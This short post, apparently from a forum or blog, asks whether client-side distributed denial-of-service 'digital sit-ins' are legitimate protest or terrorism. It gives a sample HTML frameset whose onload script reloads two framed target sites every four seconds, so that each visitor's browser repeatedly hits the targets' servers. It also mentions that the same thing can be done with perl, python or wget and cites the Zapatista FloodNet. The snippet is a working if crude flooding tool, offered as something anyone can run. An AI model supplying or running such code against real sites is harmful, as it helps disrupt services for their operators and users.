Client-side Distributed Denial-of-Service: Valid campaign tactic or terrorist act?


Here is a sample of the code they use for digital sitins with a small amount of java script:



FRAMESET COLS="50%,50%" FRAMESPACING=0 BORDER=3
ONLOAD="setTimeout('self.location.reload(true)',4000);"


FRAME SRC="http://www.target1.com" NAME="site1" NORESIZE SCROLLING="no"
FRAME SRC="http://www.target2.com" NAME="site2" NORESIZE SCROLLING="no"

FRAMESET


So each person loads a page on their home computer that just pounds the targets server. It's something that can be done better in/with perl/python/wget but it's also something that EVERYONE can do. They don't even need to understand why or how. Also see: The Zapatista Tactical FloodNet for another example of a digitial sit in protest site that has some actual traffic.
